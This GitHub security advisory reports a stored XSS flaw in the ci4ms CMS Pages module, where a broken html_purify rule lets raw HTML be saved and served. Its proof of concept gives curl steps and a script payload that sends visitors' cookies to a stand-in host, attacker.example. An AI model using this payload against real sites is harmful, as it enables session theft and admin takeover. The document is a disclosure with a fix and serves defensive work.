Skip to content

CI4MS: Stored XSS in Pages Module Content via Broken html_purify Validation Rule

High severity GitHub Reviewed Published May 14, 2026 in ci4-cms-erp/ci4ms • Updated May 18, 2026

Package

composer ci4-cms-erp/ci4ms (Composer)

Affected versions

<= 0.31.8.0

Patched versions

0.31.9.0

Description

Summary

The Pages backend module registers the html_purify validation rule on language-keyed page content but persists the raw, un-purified POST value into the database. The public renderer for pages (Home::index()app/Views/templates/default/pages.php) emits $pageInfo->content without esc(), yielding stored XSS that fires for every public visitor of the affected page — including administrators. Because pages may be promoted to the site home page, the payload can be served at / and reach every visitor of the site.

Details

This is a sibling-module variant of the same root cause as the Blog stored-XSS issue. The html_purify custom rule (modules/Backend/Validation/CustomRules.php:54) mutates its first argument by reference:

public function html_purify(?string &$str = null, ?string &$error = null): bool
{
    ...
    $clean = self::sanitizeHtml($str);
    $str = $clean;
    self::$cleanCache[md5((string)$str)] = $clean;
    return true;
}

CodeIgniter 4's Validation::processRules() (vendor/codeigniter4/framework/system/Validation/Validation.php:344) invokes the rule as $set->{$rule}($value, $error) where $value is a local copy populated from request data. Even though the rule signature accepts $str by reference, the mutation only updates the local $value inside processRules(); the original POST array (and the request body) are never modified. To get the sanitized output, controllers must call CustomRules::getClean(...) after validation — but no controller in the codebase does so.

Pages controller — modules/Pages/Controllers/Pages.php:

  • Pages::create() registers the rule at line 82:
    'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required|html_purify'],
    Then at lines 102–113 it reads the raw POST and inserts it untouched:
    $langsData = $this->request->getPost('lang') ?? [];
    ...
    $this->commonModel->create('pages_langs', [
        ...
        'content' => $lData['content'],   // line 111 — RAW
        ...
    ]);
  • Pages::update() mirrors the same pattern at lines 130 and 157:
    'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required|html_purify'],   // line 130
    ...
    'content' => $lData['content'],   // line 157 — RAW

The row lands in pages_langs.content, which is then read by the public-facing Home::index() controller (app/Controllers/Home.php:31-76) and emitted by the template at app/Views/templates/default/pages.php:32:

<div id="ci4ms-content">
    <?php echo $pageInfo->content ?>     // no esc(), raw HTML output
</div>

CommonLibrary::parseInTextFunctions() (app/Libraries/CommonLibrary.php:45) is called on $pageInfo->content first, but only handles {{form=...}} / {...|...} shortcode-style replacement — it does no HTML sanitization.

This is distinct from the Blog finding:

  • Different module/controller (Modules\Pages\Controllers\Pages vs Modules\Blog\Controllers\Blog)
  • Different table (pages_langs.content vs blog_langs.content)
  • Different view file (templates/{theme}/pages.php vs templates/{theme}/blog/post.php)
  • Different route (/<seflink> matched by Home::index vs /blog/<seflink>)
  • Pages can be promoted to the site home page via Pages::setHomePage (modules/Pages/Controllers/Pages.php:206), broadening blast radius beyond a single slug to every visitor of /.

Routes are confirmed protected by backendGuard for authentication (modules/Pages/Config/PagesConfig.php:12-17) and require pages.create / pages.update Shield permissions (modules/Pages/Config/Routes.php:4-5).

PoC

Prerequisite: an account with the pages.create (or pages.update) permission. In ci4ms this is a non-admin content-author role.

Step 1 — log in to backend, capture cookies:

curl -k -c cookies.txt -b cookies.txt -X POST https://target/login \
  -d 'email=author@example.com' -d 'password=AuthorPass1!'

Step 2 — create a page with a malicious content payload:

curl -k -b cookies.txt -X POST https://target/backend/pages/create \
  -d 'lang[en][title]=POC' \
  -d 'lang[en][seflink]=poc-page-xss' \
  -d 'lang[en][content]=<script>fetch("https://attacker.example/?c="+encodeURIComponent(document.cookie))</script>' \
  -d 'isActive=1'

Expected: redirect to /backend/pages/1 with lang('Backend.created') flashdata. The DB row pages_langs.content contains the literal <script>...</script> payload.

Step 3 — trigger the XSS by visiting the public URL:

https://target/poc-page-xss

Home::index() selects the row, pages.php:32 emits the raw <script> tag, and the payload runs in every visitor's browser context. If a logged-in administrator browses the public site or follows a link to this slug, their backend session cookie is exfiltrated to attacker.example, enabling full account takeover.

Step 4 — broaden blast radius (optional, requires pages.update):

curl -k -b cookies.txt -X POST https://target/backend/pages/setHomePage/<page_id> \
  -H 'X-Requested-With: XMLHttpRequest'

After this, the malicious page is served at / to every visitor, including unauthenticated visitors and admins navigating to the front-end.

Impact

  • Stored XSS in public-facing site: any visitor to a malicious page slug — or to / if the page is set as home — executes the attacker's JavaScript.
  • Admin account takeover: an authenticated admin who loads the public page (common during normal site review) leaks their Shield session cookie / CSRF token, enabling the attacker to ride the session against the entire /backend/* surface (full CMS administration, user management, file editor, backups, theme upload).
  • Privilege escalation: the attacker only needs pages.create (a role typically delegated to non-admin content authors), but obtains code execution in the admin's browser, escaping the content-author security boundary into the admin's. This is the rationale for S:C in the CVSS vector.
  • Persistence and broad reach: the payload is database-backed and survives until the row is edited or deleted; the home-page promotion converts a single-slug XSS into a site-wide drive-by.

Recommended Fix

Stop relying on the broken reference-mutation pattern. The simplest, safest fix is to call the existing sanitizeHtml / getClean helper explicitly when persisting the content. In modules/Pages/Controllers/Pages.php:

use Modules\Backend\Validation\CustomRules;

// Pages::create() — replace line 111
$this->commonModel->create('pages_langs', [
    'pages_id' => $insertID,
    'lang'     => $langCode,
    'title'    => strip_tags(trim($lData['title'])),
    'seflink'  => strip_tags(trim($lData['seflink'])),
    'content'  => CustomRules::sanitizeHtml((string)($lData['content'] ?? '')),
    'seo'      => $seoData
]);

// Pages::update() — replace line 157
$langUpdate = [
    'title'   => strip_tags(trim($lData['title'])),
    'seflink' => strip_tags(trim($lData['seflink'])),
    'content' => CustomRules::sanitizeHtml((string)($lData['content'] ?? '')),
    'seo'     => $seoData
];

Apply the same pattern in every other module that uses html_purify (Blog, etc.). For defense-in-depth, also escape on output for any field that is not intended to be raw HTML, and consider rewriting the html_purify rule to operate on $data so the validator stores the sanitized result via getValidated() rather than relying on a reference mutation that the framework discards.

References

@bertugfahriozer bertugfahriozer published to ci4-cms-erp/ci4ms May 14, 2026
Published to the GitHub Advisory Database May 18, 2026
Reviewed May 18, 2026
Last updated May 18, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(11th percentile)

Weaknesses

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. Learn more on MITRE.

CVE ID

CVE-2026-45270

GHSA ID

GHSA-gqr2-7hcg-rchf

Source code

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.